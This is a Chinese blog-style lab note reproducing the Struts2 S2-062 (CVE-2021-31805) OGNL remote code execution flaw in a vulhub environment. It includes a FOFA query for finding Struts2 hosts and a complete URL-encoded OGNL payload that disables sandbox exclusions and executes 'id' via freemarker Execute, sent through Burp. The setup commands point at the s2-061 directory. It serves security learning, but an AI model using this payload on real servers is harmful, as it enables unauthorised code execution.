【漏洞复现】vulhub struts2/s2-062

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

本文目录

 vulhub struts2/s2-062 (CVE-2021-31805) 远程代码执行漏洞

 前言

 struts2框架介绍

 3.2struts2 rce

 漏洞原理

 补充

 搜索语法

  FOFA

 本地环境搭建

 漏洞复现


 

 vulhub struts2/s2-062 (CVE-2021-31805) 远程代码执行漏洞

 

 前言

  struts2框架介绍

Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用框架。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

Struts 2 是一个基于MVC设计模式的web应用框架:

MVC:模型(Model)、视图(View)、控制器(Controller):

  • 模型 --- 属于软件设计模式的底层基础,主要负责数据维护。
  • 视图 --- 这部分是负责向用户呈现全部或部分数据。
  • 控制器 --- 通过软件代码控制模型和视图之间的交互。

 3.2struts2 rce

Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001 , 到现在已经到披露到 s2-062 不同的Struts 2 版本对应的payload是不同的 

 漏洞原理

开发人员使用%{…} 语法进行强制 OGNL 解析,有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。

alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。

补充

OGNL表达式

        OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。

        它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。

        OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$ 这三个符号的使用:

        #:获得contest中的数据;

        %:强制字符串解析成OGNL表达式;

        $:在配置文件中可以使用OGNL表达式。

 搜索语法

  FOFA

app="struts2"

 本地环境搭建

  • kali靶机启动环境
cd vulhub/struts2/s2-061
docker-compose up -d     
docker ps -a

  漏洞复现

 

  • 小插曲:
    发现页面显示不正确,显示的是上一个靶场的页面,这里是因为我使用的浏览器是老版本的火狐,是由于浏览器的缓存原因导致的,如果出现和我一样的情况可试试下面的解决办法。

解决方法:

点击浏览器设置选项,点击隐私选项,清空近期历史记录,勾选缓存,点击立即清除即可。

  • 重新访问靶场地址,出现以下内容证明访问成功

  • Exp利用
id=%25{(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}
  • 使用burp抓包,更改请求方法为post,数据包处拼接EXP内容,点击发送

 响应处显示id值,成功

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yang_peach的博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值